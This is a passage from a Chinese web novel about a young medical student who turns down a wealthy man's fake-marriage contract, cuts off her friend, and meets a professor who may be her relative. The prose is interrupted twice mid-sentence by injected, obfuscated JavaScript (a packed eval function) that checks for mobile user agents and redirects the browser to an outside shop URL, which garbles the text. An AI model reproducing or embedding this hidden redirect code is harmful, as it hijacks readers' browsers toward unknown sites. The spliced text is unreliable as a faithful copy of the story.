但今天的事,是对方蓄意而为的欺骗。 “他想谈我就必须得和他谈吗?”语气平缓,眼中却是不加掩饰的抗拒与不耐。 黎子盛的目光对上她双眸的一瞬间,心里也忍不住为之一惊,这还是他见到的第一个对谢君尧心怀不耐的女人。平素所见的那些人,哪个不是恨不得长在谢君尧身上。 难怪,谢总会对她念念不忘,对他而言,这个类型的女孩子的确是难得一见,独树一帜。 黎子盛一时有些为难:“倒也不是这么说……” “别的事情暂且不提,”黎子盛的话还未说完,一个声音突兀地响起,三人抬头看去,只见谢君尧缓缓走来,“只是就昨日咖啡厅的事,谢某很希望能和祝小姐详谈。” 宣翾闻言面色一变:“哥你干嘛?!” 谢君尧转头,淡淡看了宣翾一眼,没说话。 祝容时面不改色开口拒绝:“但我并不希望。” 谢君尧闻言,收回看向宣翾的目光,无奈的笑了一下。 这个人确实长的挺好看的,面容清隽,身形修长,眼眸锐利,眉宇间自带一抹严肃凌厉,这样的人一眼看去便知道是常年养尊处优,毕竟给人一种生人勿近的感觉。看起来比她直白的冷漠和拒绝显得厉害多了,的确不愧是小说的男主角。 “是吗?”谢君尧道。 祝容时坦然道:“昨天的事就是一个意外,或者说是一个误会,我并不觉得,我和谢先生还有接触的必要。” 谢君尧闻言,心里不可避免的一阵无奈:“但我很想和祝小姐接触。” “可我不想。”祝容时再次拒绝,“也请谢先生不要给我造成困扰。” 谢君尧道:“祝小姐,眼下还什么都没谈呢,怎么就拒绝了?好歹也得先谈了才能说拒绝啊。” 宣翾心急如焚,不管不顾开口制止:“哥!” 谢君尧不搭理她,只是看着祝容时,接着说道:“昨天递到祝小姐面前的协议,是宣翾亲自 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谢君尧明显没想到这个回复,他怔怔无言片刻,再度开口:“祝小姐对这份协议有任何问题,都可以问问宣翾,她会保证你没有任何损失。” 祝容时淡淡道:“三年后离婚,我的身份就从单身女性,变成了离异女性,这对我而言就是损失,我为什么要浪费三年时间陪您演一场假结婚的戏?为了一个亿?为了一套房?我从来不觉得我需要这些。” 谢君尧心里难得挫败,他不甘心的问道:“那你需要什么?” 祝容时不答,只接着道:“谢先生这样的条件,您大可以去外面找任何一个人,我相信会有很多人愿意为您解忧,您没必要非得在我这里多做纠缠。” 谢君尧沉默片刻,再度开口:“我现在想知道,祝小姐需要的到底是什么?” 祝容时面露不耐打量他良久,见他一脸冷静执着,无奈的摇了摇头,最终还是决定坦言相告:“尊重。谢先生,您从没尊重过我。当然,以您的身份,您也不需要尊重我。” “我的意愿再三明确,您都视若无睹置若罔闻,这样不尊重我的人,凭什么出现在我的生命里?又凭什么和我有过法律认可的关系?” 这对她而言是耻辱,她无论如何也接受不了。 “我其实很不想把话说的这么绝,但是您的举动确确实实是激怒我了。不过我想,您应该不会和我计较的吧?如果您非要和我计较纠缠,那我也没办法,不过烂命一条,能活就活,不能活就去死。” 祝容时的话轻描淡写,却将另外两人惊得面色发白。 谢君尧抬手将协议收回,没再提那个话题,只是转而问道:“祝小姐,你有去看过心理医生吗?” 祝容时轻笑:“谢谢关心,但我没病,不必看什么心理医生,我只是对人对事都看的很开而已。” 这世上像她这样心性豁达的人可没有几个。 “对了。”祝容时说完,想起昨天和宣翾的约会未曾达成的事,便道:“谢先生,昨天宣翾加班了,今天她可以提前下班吗?” 宣翾闻言拿着手机的手微微用力,眼神瞬间落在祝容时脸上,见她目光清澈,神色一如既往的平静,下意识便笑了。 谢君尧的目光状若不经意间看过宣翾的手机,片刻后他轻叹一声道:“可以。” “谢谢。”祝容时礼貌道谢,然后拉着宣翾出了会客室的门。 5. 05 离开会客室的时候,祝容时表现得一直很平静,但出了门宣翾却敏锐觉察,祝容时一直在发抖,她握着她的手从最初不时的轻颤,到现下不停歇的抖动。 宣翾心里一急,拉着祝容时调转方向走进卫生间,一手抽出纸巾用水沾湿了,便按在了祝容时脸上。 祝容时猝不及防抖了一下:“你干嘛呀?” 声音听起来像是在反问,但却更像撒娇。 宣翾长叹了一口气,转而将祝容时一把抱进怀里:“不怕不怕,没事了没事了,宝宝不紧张哈。” 祝容时心里一暖,她垂眸遮住微微湿润的眼眶,低头轻轻嗯了一声。 宣翾的安慰很有用,祝容时走出卫生间时,情绪已经完全恢复了,想着今天似乎从起床就不太幸运,祝容时当即决定要吃点好的安慰一下自己,再去买点东西,就当破财免灾。 于是自打走出谢氏集团,走进商场,祝容时就开始花钱了。先挑了个口红、再买了身衣服、又捧了杯奶茶,最后才和宣翾去四楼火锅店吃东西。 大白天吃火锅的人寥寥无几,但宣翾和祝容时却吃得十分开心,两人点了不少菜,直吃到了黄昏日落,又跑去看了场电影,二人才意犹未尽的准备返程。 宣翾打算接祝容时回家跟自己住,但车还停在公司的停车场里,于是二人便散着步往公司停车场走去。 她们到停车场时,里面的电梯也随即传来声响,一人提步走了过来:“不是提前下班了吗,怎么又回来了?要主动加班?” 此人不是别人,正是谢君尧。 这一次,他的目光没再第一眼便落在祝容时身上,只看了宣翾。 宣翾回道:“回来开车,哥你怎么现在才下来?这都快十点了。” 谢君尧道:“处理文件。”说话间,他的目光隐晦的扫过宣翾身旁的祝容时,一股情绪又莫名涌了上来。 谢君尧将那莫名而来的情绪压住,道:“早点回家,大晚上的别在外面逗留。” 说完便越过她们离开,心里却头一次体验到挫败感。 他最初自信满满,只觉得凭借自己的身份地位,又提出了那么优厚的条件,根本不可能会被人拒绝,所以早上宣翾说他会碰壁的时候,他心里其实不以为然。 他觉得昨天只是没谈明白,今天再谈一次就好了。 但不曾想,他昨日的不肯相信,今早的不服与自负,导致了下午闹得难看,也难堪。 不过就她的反应来看,祝容时的确最合适为他解决眼前困局,她从最开始他出现时就表现出了拒绝;后来再见,即便祝容时明知他的身份,却依然不假辞色,这样的人如果不是故作清高引起他的注意,那便是真的与众不同。 或许是真的与众不同吧?否则她又怎么会把话说的那么绝对?这样坚定决绝的言辞,直将他们之间的差距摆在了明面上。 而这种差距,不在身份财力地位,只在思想观念。 祝容时要每一个出现在她身边的人,无论对方是谁有何种身份,都要给她尊重与信任。 这种思想与世上绝大多数人都不同,但她就这样平静的生活在这个世上,偏执地坚定着自己的想法,等待有朝一日,有人真心诚意的敲开她的门扉,完整的进入她的世界。 思及此处时,谢君尧心里一阵不适传来,他不服,她是真的特别吗?如果是,那思想这样特别的一个人,为什么他不能是叩开她心扉的那个人呢? 发动机启动的声音传来,他下意识脚踩油门,车子扬长而去,随后越来越远。 他还想要再试一试,看看结果究竟是怎样的。 另一边,宣翾来到自己车前,拿出车钥匙解锁。 二人一左一右上车坐定,车子启动绝尘而去。 灯光照明了这一座发达的城市,也照亮了每一个人回家的路。 半个小时后,宣翾把车停在自家院子里,便拉着祝容时走进家门。 宣翾在三年前就搬出来独居了,因为她想要一个独立的空间,于是父母出资在市中心给她买了个大平层,但其实这里也没离父母家太远,下了楼也就几百米的距离,她散个步就能回家里跟家人一起吃饭。 祝容时跟着她进去,从鞋柜拿出鞋子更换,然后走进厨房打开冰箱取出果汁,给自己和宣翾倒了一杯。 此时宣翾已经十分惬意的躺在沙发上,拿出手机来玩游戏了。 祝容时一杯果汁递到面前,宣翾放下手机接过豪饮一口:“爽!” 祝容时小口小口把杯中果汁喝完,杯子随手放在茶几上,和宣翾一人占据一边沙发便开始玩手机。 宣翾打完一局游戏,眼珠子转了一下,开口唤祝容时:“宝宝。” 祝容时眼睛依旧盯着手机屏幕,嗯了一声权当回应。 “你要不要,搬过来和我一起住啊?”宣翾面带笑容,眼中是满满的希冀。 闻言,祝容时抬头:“怎么突然说这话?” 宣翾关闭游戏,正襟危坐,看着祝容时的神情前所未有的认真:“你老在外面租房也不是个办法啊,而且网络上那么多单身独居的女性出状况,我担心你嘛。你搬过来和我住的话,那咱们天天都可以见面,再也不用一个人守着房子,多好啊!” 祝容时闻言,突然抬眸看向宣翾,很意外的捕捉到了她脸上一闪而过的慌乱。她心中一乱,垂下眼眸当做没有看见,沉默片刻才道:“怎么说呢,咱俩差距还是太大了。” “宣翾,你的家境十分优渥,父母亲都是在用真心爱着你的人。直白一点来说,就是你什么都有,而我什么都没有。” “我以前觉得,我们不该有交集,因为我们是两个世界的人,差距太大了。我开始以为自己会对你心存妒忌,因为你有我求而不得的东西,但后来转念一想,你有牵挂,而我了无牵挂自由自在,慢慢的平衡了自己的心理,实不相瞒,我是从平淡的看你开始,才平淡的看我身边的每一个人。” “如果长期同住一个屋檐下,你知道我的,我的脾气秉性真的一点也不好。” “而且我觉得,朋友之间,或许也应该要保持适当距离。” 祝容时话音落定,便未再开口。 宣翾平静听完,随后十分理解的点了点头:“这倒也是,我们现在这样,也挺不错的,有时间就出来约会,没时间就自己忙自己的。” 祝容时轻笑了笑:“对啊,我们这样就很好啊。” “不过,我居然是你平淡看待所有的开始吗?”对此,宣翾表示震惊。 祝容时怔了一怔,随后坦然相告:“开始我对你是很羡慕,后来就看淡了,谢谢曾经你的主动靠近。” “对你和你身边的人来说,我才是格格不入的那个人,能够和与我有天渊之别的你相识相交,是缘分使然,所以,平静接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548351|204250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受缘分的安排就好。” 这世上,又有谁不是在接受命运的安排呢? 但她如今才知道,自己身处于一本小说之中,并且早在最开始,就拒绝了作者给自己的恶毒女配剧本;而今天,她又再三拒绝那份协议,从此,她在这个世界,就只是她自己,而不是小说里,和男主结婚的反派角色,不是隔开牛郎织女的那一条银河了。 这种抗拒安排改变既定命运的行为,让她得到了前所未有的感觉。果然,无论她身处哪里,谁都不能决定她的命运!她也绝不会是任何人生命里的配角! 宣翾深以为然:“你这么想真好!咱们真的很有缘分啊!” 话音落下,宣翾来到她身边,抬手揽住她的肩膀就和她贴贴,祝容时怔了一瞬,随后便笑着回应起来:“嗯嗯,缘分不浅!” ……这一晚,祝容时睡在宣翾隔壁的房间,本该一夜好眠,却不想还是梦魇缠身。 这一次,梦中的场景和角色换了一个,既不是她曾经的那些前尘往事,也不是昨天第一次梦到的钟雅晴和癫狂发疯的祝温如,而是一个名为池嫣的女孩。 池嫣和她一样是个孤儿,但她被一个很好的家庭收养了,后来因为理想进入娱乐圈,因缘巧合之下与已经和宣翾订婚的顾昭华相识,从此开启了三个人狗血三角恋。 最后以宣翾父母破产,从此穷困潦倒,女主摘得影后桂冠,与男主和和美美的在一起为结局。 从梦中惊醒后,祝容时仍然久久回不过神来,宣翾,池嫣,顾昭华……这又是怎么一回事?看着好像是另一个剧情? 下一瞬,一个猜测浮现心里,难道她来到的,不仅仅只是一篇小说里的世界?! 不是不是,宣翾不是谢君尧的妹妹吗?谢君尧不是这篇文里的男主角吗?男主角的妹妹,怎么家里莫名其妙会破产啊?! 更重要的是,顾昭华都和宣翾订婚了,还去外面勾搭池嫣,谢君尧这个哥哥,怎么会对这些坐视不理啊?! 这正常吗? 这绝对不正常!于是她摇了摇头,把这个莫名其妙的梦抛出脑海,躺回床上重新再睡一次。 这一次倒是没有做梦了,她一觉睡到天亮,直到宣翾来敲她的房门,问她醒了没? 宣翾一边艰难起床一边回了一句起了,就走进了卫生间洗漱,直到收拾齐整,才拉开房门。 等她走出房间,宣翾已经去楼下了,今天起晚了点,估计上班要迟到了,不过还好,问题不大。 宣翾刚换好鞋子,祝容时便下楼,来到她身边了。 宣翾头也不抬道:“还好你今天还休息,要不然咱俩就都惨了。对了,早餐你想吃什么?” “随便吃点吧,你还得去上班呢。”祝容时说着,帮她拿起昨日随手放在沙发上的包,把手机钥匙都放进包里,再拿起放在柜子上自己的东西,确认没有遗漏,宣翾也拉开了门。 宣翾点了点头:“那你今天还能休息吗?” “可以啊。”祝容时颔首,因为这个月才开学,她暂时只有星期五那天有课,其他的课程都从下个星期才正式开始授课。 宣翾见状便笑了:“那今天就听我安排吧!” “倒也可以,不过要看你的安排合不合理。”祝容时也笑着应道。 话音落下的时候,二人一前一后走出了门。 不多时,车子启动,扬长而去。 6. 06 祝容时本以为,宣翾所谓的“安排”会是某种温馨的闺蜜聚会,却未曾想,脚下的路竟再一次将她引向了那座巍峨的谢氏大厦。 站在集团门口,祝容时的脚步像是生了根,纹丝不动。墙面倒映出她漂亮的眉眼,也折射出她内心一瞬间涌起的荒谬感。 宣翾一脸茫然地回头,语气里带着几分不解:“不是说好了今天全听我安排的吗?” 祝容时长叹一口气,目光平静:“我是说了听你安排,但也说了要看安排合不合理。宣翾,你该不会忘了昨天下午,就在这栋楼的五楼,发生过什么不愉快吧?” 说到这里,宣翾的脸色明显僵了一瞬。虽然她极力想要掩饰,试图用若无其事的表情带过,但祝容时还是敏锐地捕捉到了那一丝慌乱。这一丝慌乱,像是一根刺,扎破了祝容时对这段友谊的容忍度,让她更加坚定了绝不踏入此地一步的决心。 宣翾深吸一口气,试图用理直气壮来掩盖心虚:“不管昨天发生了什么,那都是过去的事了。没有人会一直放在心上的,你也别那么记仇嘛!” 她顿了顿,换上一副撒娇的口吻:“而且,你自己答应了的。怎么连陪我上个班都不愿意?人家要生气了。” 祝容时面露无奈,甚至觉得有些好笑:“陪你上班?宣翾,上班是你这个打工人为了生存不得不干的事,我今天可是休息日。我放着好好的觉不睡,跑来陪你当社畜?这逻辑通吗?” 好!宣翾没忍住朝她比了个大拇指,心里却在盘算着下一步。这理由确实让她一时语塞,但箭在弦上,不得不发。 下一瞬,宣翾眼珠一转,目光灼灼地盯着祝容时,抛出了早已准备好的诱饵:“这样,你要不去看看我和我的同事们是怎么工作的?说不定你会喜欢这里的环境,这样等你将来打算改行的时候,这里说不定能给你多一个选择啊!” 改行? 祝容时眉头轻蹙,心中警铃大作。她从未对宣翾透露过对自己专业的不满,宣翾凭什么如此笃定她将来会想要改行?甚至如此急切地想要把她拉进谢氏的圈子? 疑窦一旦生出,便如野草般疯长。祝容时越想,心里越觉得寒意阵阵。她不假思索地拒绝,声音冷了几分:“不用了,我没兴趣。” 宣翾闻言,愣了一下,正要重整旗鼓,试图用“越挫越勇”的姿态继续劝说,但下一瞬,她的动作僵在了半空。 因为祝容时此刻正用一种极其陌生且审视的目光看着她,那眼神仿佛能洞穿一切伪装。 “我说过了,除了我自己主动感兴趣的,其他任何经由别人引导、甚至是强迫我去接触的东西,我都绝不会,也不可能产生丝毫兴趣。”祝容时的声音很轻,却字字千钧。 从昨天宣翾提出同居请求开始,那种不对劲的感觉就一直萦绕在心头。起初祝容时以为是自己多心,可当看到宣翾费尽心机也要把自己骗进谢氏集团时,真相已经昭然若揭。宣翾在逼迫她。 “我刚刚突然想通了一件事。”祝容时微微偏头,眼神清明得可怕,“宣翾,你是不是觉得,我昨天所有的言行举止,都是在装模作样?是用一种另类的手段,欲擒故纵,只为了引起那个人的注意?” 闻言,宣翾彻底愣住了。她张了张嘴,一时竟不知该如何接话。祝容时的话题转折太快,快到让她措手不及,却又精准地踩中了她内心最隐秘的那个念头。 祝容时看着她,嘴角勾起一抹自嘲的弧度:“我不知道是什么给了你这样的错觉,让你觉得这世上所有人都像你们圈子里的人一样,把尊严和原则当作筹码。但现在看来,我们之间并不适合继续交往。以后,我们还是少联系吧。” “不是,怎么突然就到这儿了?我不就让你陪我上个班吗?”宣翾一脸震惊,声音都拔高了几分,引来路人侧目。 祝容时却放重了语气,每一个字都像是敲在宣翾心上的锤子:“宣翾,你摸着你的良心问问你自己,你要的真的只是我单纯的陪你上个班吗?” 这话问出口的一瞬间,宣翾的眼底闪过一丝无法掩饰的慌乱。 祝容时十分平静地下了决断,仿佛在宣判一段关系的死刑:“我们三观不同。道不同不相为谋,三观不同的人,做不了朋友。” 听得这句话,宣翾长出了口气,似乎也被激起了几分脾气,准备破罐子破摔了:“不是,怎么就三观不同了?怎么就到这个地步了?我不就是想让你好好考虑一下那份协议吗?我哥只是要个名义,陪他糊弄下家里的老人,又没要你做什么!” 她急切地抛出那个诱人的数字:“只需要三年!三年一切就结束了,你到时候可以直接获得一个亿和一套房!这样你下半辈子就衣食无忧了啊!这不好吗?这有什么不知足的?” 祝容时冷冷地看着她,眼神像是在看一个不可理喻的陌生人:“那我是不是还要跪下来谢谢你们兄妹俩看中我?谢谢你们对我一而再、再而三地穷追不舍,非要塞给我一个亿?” “我原本只厌烦你哥,现在还加上你了。谢谢你让我长了见识,让我深刻明白,原来在你们眼里,所谓的‘为你好’,就是践踏别人的意愿。” 说完,祝容时再未看她一眼,转身便走。 她拿出手机,手指飞快地操作。将昨日吃饭的花销全额转账过去,随后熟练地点击头像,拉黑,删除。 时长不超过一分钟。 转账信息的提示音响起的时候,宣翾下意识地低头去看手机。屏幕上显示着昨晚火锅的花销,那一串数字刺痛了她的眼。她颤抖着手指,语音输入:“你这是干什么?” 下一瞬,屏幕上跳出了红色的感叹号——消息发送失败。 帮她哥办一件事,事没办成,还没了朋友。 视线渐渐模糊,滚烫的泪珠滴落在手机屏幕上,晕开了那红色的感叹号。宣翾心里渐渐生出一股从未有过的委屈和不忿,正在此时,一辆黑色的轿车停在了路边,谢君尧到了。 祝容时转身离开后,便通过软件打车回出租屋去了。 出租屋里保持着她离开时候的样子,没有任何改变。回到这里,祝容时稍稍松了口气,这里才是她一个人的家!只属于她一个人的,绝对安全的地方。 在这里不会有逼迫,不会有欺骗,更不会有那种令人窒息的“为你好”的行为。 宣翾和她是两个世界的人。 宣翾站在云端,自以为是要对她好,所以今天选择了欺骗。 说到底,是他们之间差距太大,太过不同。宣翾接触的人大多都如出一辙,习惯了利益交换,习惯了高高在上的施舍。这或许就是阶级不同对双方产生的影响吧。 所以宣翾不了解,这世上的人本就是有各种各样的。有人对钱感兴趣,有人对爱感兴趣,而有些人,比起钱和爱,对自由更感兴趣。 不可置疑的,祝容时承认,自己对钱也感兴趣。她爱钱,这世上没有人不爱钱。只有有钱,才会得到很多东西,才能解决最基本的生命需要,包括但不限于吃的、喝的、穿的、用的、玩的。人付出金钱,就会收获一段时间的快乐。 而对爱感兴趣的,说实话,祝容时她不太理解。因为爱这个字包含了太多,太沉重,也太不可控。 而自由就相对简单多了,概括起来也就几个字:不自由,毋宁死。 这就是前生,祝容时选择自杀的原因。没有人可以逼迫她做任何她不喜欢的事,无论那些人是谁,和她是什么关系! 因为感觉被逼到了绝境,所以她不堪忍受,选择了最激烈的反抗。 想通的一瞬间,祝容时的心也跟着静了下来,像是一潭死水,再无波澜。 她将家里收拾一遍,随后便开始做今日份的健身运动。 与此同时,宣翾正在谢君尧的办公室里,不死心的一遍遍给祝容时发信息,但无一例外,都发送失败了。 谢君尧坐在宽大的办公桌后,看着妹妹失魂落魄的样子,沉吟片刻,道:“打个电话吧。” 宣翾因为难过而短路的脑子这才反应过来,赶忙找到祝容时的手机号码拨打过去。 手机铃声在空荡荡的房间里响起,片刻后,一个冷淡的声音传来:“还有什么话要说吗?” 宣翾一怔,眼泪又不争气地流了下来,她哽咽着道:“我不明白,我明明是为你考虑,为什么会变成这样?” 祝容时沉默片刻,声音透过听筒传来,冷静得近乎残酷:“首先谢谢你为我考虑。其次,我不需要你为我考虑。最后,我不明白,朋友为什么不能简简单单的做朋友?你不觉得你想太多了吗?” “我……”宣翾的低泣声通过手机听筒传来。 祝容时将她的伤心听入耳中,却半分不为所动:“你明明说过我是你最特别的朋友,可你却把我想得和曾经出现在你身边所有人都一个样吗?为什么你会觉得,这世上没有特立独行的人存在?为什么你会觉得,从来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548352|204250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不接触你家人和你其它朋友的我,会需要那份可笑的协议?” 祝容时的语速不快,却字字诛心:“朋友之间是要有边界感的。我想要什么我自己会去追求、去争取,我从来都不需要你自以为是的替我考虑、为我好。明白了吗?朋友!” 言至于此,祝容时也觉得该停在这里了。多说无益,徒增笑耳。 于是她冷冷地说了最后一句话:“好了,现在话说清楚了,以后我们就别联系了。” 说完,她径直挂断电话。而后拉黑、删除,一条龙服务,不带半分犹豫。 宣翾拿着手机,久久回不过神来。方才祝容时一连串的问题,此时此刻仍在她脑海中回响,震耳欲聋。 朋友为什么不能简简单单的做朋友?是啊,为什么啊? 是因为她看祝容时的目光不再平等了吗?是因为她们的思想不再同频了吗?是因为她昨晚睡前,接到的来自哥哥谢君尧的那个电话吗? 默然半晌,宣翾转过头,眼眶通红地问谢君尧:“哥,你昨晚,到底是怎么想的?” 谢君尧淡淡道:“特立独行,故意引人注意。我只是想试探一下,她到底是不是真的,视金钱和地位如粪土而已。” 说到这里,他抬眸看进宣翾眼里,目光深邃:“你也和我想的一样,不是吗?” 宣翾愕然,随后便苦笑了下。是啊,她也和他想的一样。 什么人会拒绝一个亿的天降横财?那不是傻子才会做的事吗? 祝容时能和她玩到一起这么多年,要说真的没有图谋,她心里始终还是有点困惑的。可如果有所图谋,又为什么不肯答应那份协议呢?难道是她嫌一个亿少了吗? 昨晚刚想到这里的时候,她觉得自己找到了答案。所以今天她兴致勃勃要带祝容时来公司,想让她亲眼看着自己修改那份协议,从上班到下班,那么多的修改版,总有一份能够让她满意。 可事实是,她想得太多,也太傲慢。而祝容时在来到门口的一瞬间,就奇异地洞悉了她的想法,而后选择毫不留情地拒绝,拉黑删除,不给彼此留一丝余地。 “她是真的,只要凭借实力得到的东西。”谢君尧淡定的下了结语,语气中竟带了几分不易察觉的赞赏,“对不起了,宣翾,让你从此失去了这样一个特别的朋友。” 谢君尧话音落下的瞬间,宣翾眼中的泪水也夺眶而出。 可时至如今,一切都没了挽回的余地。 另一边,祝容时在挂断电话之后,便往后一倒,平躺在瑜伽垫上。 她今天还没有来得及做健身运动,瑜伽垫刚拿出来铺在地上,宣翾的电话就紧跟着来了。她接了个电话,不知不觉就到现在了。 祝容时拿起手机看了眼时间,已经是早上十一点了。她干脆从沙发上拉了个抱枕下来垫在脑后,就这么躺在瑜伽垫上闭了眼睛。 这一觉睡得很好,既没有做梦,也没有闹钟打扰。她直接睡了一个小时才醒来。醒来后第一件事就是点外卖,点完外卖再拿出日记本记录夜里做的梦。 但这一次她没记太详细,只是随手写了几个名字上去,便将其扔到一边。过了一会儿,她又把日记本拿过来,把这一页撕掉,揉成一团,扔进垃圾桶。 她的日记本,不该记下那些与她无关的内容。从决定拉黑删除的那一刻起,宣翾也好,谢君尧也好,就已经被彻底剥离出她的世界了。 从此,她的人生将恢复平静,平静的不会有一丝一毫的波澜起伏。这一次,不会再有人来打扰她。 梦永远是梦,她也永远不是祝温如。但她却不知道,自己此刻,显然想的太多了些。 第二天是周四,今天祝容时依旧打算宅在家里,不准备出门。但刚吃过午饭,一通电话猝不及防地打来。 祝容时接通,电话的另一头是她的同学。 “祝容时?你在学校吗?”对方开头便是这样一句话。 祝容时开了免提,把手机放到一边,一边收拾碗筷一边问她:“不在呢,怎么了?” 对方回道:“两小时前发的通知,原定明天的课被调整到今天下午了。” 晴天霹雳。 祝容时今天的休息泡了汤,她回了句:“我马上回去。” 挂断电话后,她把碗放起来就去收拾东西了。手机、钥匙、充电器,一件不落收进包里。换了衣服鞋子,拿上发带,她就出了门,匆匆忙忙往学校赶去。 7. 07 祝容时不是梦里的祝温如,在这个世界,她没有家,也没有家人,她能依靠的只有她自己,能相信的也只有自己。 因为无依无靠,所以没有退路,只能拼尽全力向前走,过好这一生的每一天。 祝容时在一点半的时候到校,彼时距离课程开始还有半个小时,她紧赶慢赶才在上课前五分钟到达教室,整个人累得上气不接下气。 在座位坐定,看了眼时间,距离上课时间还有三分钟,她长舒了口气,拿起水杯拧开就狠狠灌了一口。 同桌阮滢滢慢她一步落座:“我还担心你赶不到呢,没想到居然还在我前面。” 祝容时笑着轻哼一声:“那当然,我可是一路狂奔过来的,快累成狗了。” 说到这里,祝容时就不开心:“话说回来,怎么突然就调整上课时间了?弄得人着急忙慌的。” 阮滢滢道:“不知道啊,很突然的就发通知了,而且还没有什么小道消息传出来,就很神奇。” 祝容时点点头,拿出书本摆在桌子上,就静静的等着上课时间到来。 这一生祝容时选择的依然是临床医学,前生的她在治病救人里寻找自己活在世上的意义,今生亦然。 上课铃声响起,任课教授与助教老师走进来,做了简单的自我介绍后,便开始了今天的课程讲解。 时间一分一秒过去,不多时便到下课时间了。周围人都在收拾东西,祝容时也不例外,但奇怪的是,却没有一个人先踏出教室的门。 祝容时收拾好东西,习惯性的抬头看去,却见已经宣布下课的教授静静的站在她的课桌前打量她,神色平静,眼神中却波澜起伏,他看着她,仿佛在看终于找到的失落已久的宝物一般。 “教授好。”祝容时干巴巴的和眼前这人打招呼。 临床医学最少也是五年起步,祝容时的学制八年整,今年是她学医的第三年,也是第一次听到这位教授的课。 但没想到,这位初次见面的教授,会在下课后站在她的课桌前一动不动的打量她。 祝容时心里疑惑,这位教授是不是哪里不对劲?怎么一直这样看着她? 困惑浮于表面,她便也有些疑惑的皱起了眉头,但下一瞬,这位教授说出口的话让她瞬间明白了这位教授一直这样看着她的原因。 “请问你叫什么名字?”年轻的教授站在她的面前,声音略显低沉。 祝容时递上自己的学生证:“祝容时。” 教授抬手接过,目光扫过学生证上的名义,脸上微不可见的露出一丝笑意,他轻声重复道:“祝容时?你是一直都叫这个名字吗?以前有没有更改过?” 闻言,祝容时的神情微微凝滞,她思索片刻,抬眸看向眼前人的眼里似乎有几分困惑:“不知道啊,从记事起就叫这个名字。” 教授点了点头,将学生证还给她,同时附带了一句新的自我介绍:“我姓容,容若珩。” 祝容时接过容若珩递来的学生证,而后怔怔的看着他转身离去。 教授终于离开,教室里的一众人等也跟着人鸟兽散,但还有些好奇这爆棚的来到祝容时身边: “容时,你是不是和教授认识啊?” 祝容时摇了摇头:“不认识啊,今天第一次见面。” “但我看你和教授好像长的有点像啊,你看这个照片,我刚刚偷拍的。”另一位同学将手机放在祝容时面前。 祝容时仔细看了看,然后点了点头:“这么看好像是有点哦,大概因为我是大众脸吧。” 那位同学扯了扯嘴角:“你要是大众脸的话,那我们是什么脸啊?” 祝容时习以为常的回道:“那必须是芙蓉面啊。” 众人被她面不改色习以为常的应付给逗笑了。 那人上前收回了手机:“美人不给你看了!” 小眼神里有些嗔怪,祝容时很配合的咦了一下,装模作样抖了抖身上的鸡皮疙瘩。 一群人笑闹了片刻,便结伴去食堂就餐。 另一边,容若珩刚回到办公室,便急不可耐的拨通了电话。 那边的电话刚接通,他便急忙说道:“帮我查一个人,名字和照片发你了。” 等那边应下之后,容若珩挂断了电话,往后靠在椅背上,便闭上了眼睛。 祝容时…… 他在这一片寂静中,低声念着这个初初知晓的名字。 一个小时后,信息被发送到他的手机上,他点进去看,第一眼便看到了曾用名那里。 是祝温如,温其如玉的温如! 祝温如是谁?祝温如是A城最大的珠宝公司董事长祝盛蹊,和云城容家家主容瑾瑜那才出生一周,就被人偷走,从此以后下落不明的女儿。 这么多年来……这个孩子难道一直都在A城吗? 容若珩抛开所有疑问,一点一点往下看。 具体出生日期不详,血型未知,今年二十岁,小时候住在祥和福利院,地址祥和路一百零九号,六岁时入读新西小学一年级,十二岁入读第一中学,十四岁参加中考,后就读A城第一高级中学,高考以总分713的成绩考入A城医科大学临床医学专业,学制八年。 这么一算,今年已经是第三年了,怪不得他都已经任课大学教授将近十年,也直到现在才遇见她。 一个无依无靠的小姑娘,一路走到今天,她该有多么辛苦? 容若珩不敢细想,而在这份简洁文件的下面,是一连串的资助名单。 是社会各界爱心人士的资助,才让她一路走到现在。 他垂眸细看,愕然便见到云城容氏集团的名字高居榜首。 容若珩看着排在最上面的字样,心里不禁有些复杂难言。 与此同时,祝容时与同学们一起用了下午饭就回了宿舍,今天有点晚了,不知道明天还有没有安排,于是她决定今天住学校宿舍。 她的宿舍在4栋6楼,算是中间楼层,里面除了她还有另外三位,一位就是同桌阮滢滢,其他二位同专业但不同班,所以上课时间也不尽相同,几人关系都比较平淡,属于点头之交那种。 但今日倒是特别,祝容时和阮滢滢走进去的时候,另外二人也在。 几人平淡的打了个招呼,就开始各自忙自己的,祝容时拿出笔记本就开始复习今天的课程内容,阮滢滢则开始预习下一课的内容,另外二人在一旁互相背书,几人互不干涉,互不打扰。 祝容时复习完,把笔记本往桌上一放,拿上睡衣就往卫生间里走去。 半个小时后出来,她顶着一头湿漉漉的长发坐在书桌前,一边背重点一边等待头发自然风干。 阮滢滢见状无可奈何地摇了摇头:“祝容时,虽然现在已经是三月份了,但是早晚的天气还是凉飕飕的,你就不能把头发吹干了躺床上去吗?非得坐在这儿等它自然风干?小心感冒了。” 祝容时抬手抓了抓头发,然后与阮滢滢道:“没事,一会儿就干了,不会感冒的。” 阮滢滢扯了扯嘴角,满脸无奈的把头转了回去。 阮滢滢转回去后,祝容时拿了本笔记本,还是写自己对未来的大致计划。过了半个小时,头发已经半干,她抱着笔记本上了床,躺在床上看计划合不合理,但她真的有点累了,刚看了没多久就睡了过去。 见有人睡着,几人的动静便更轻了些。 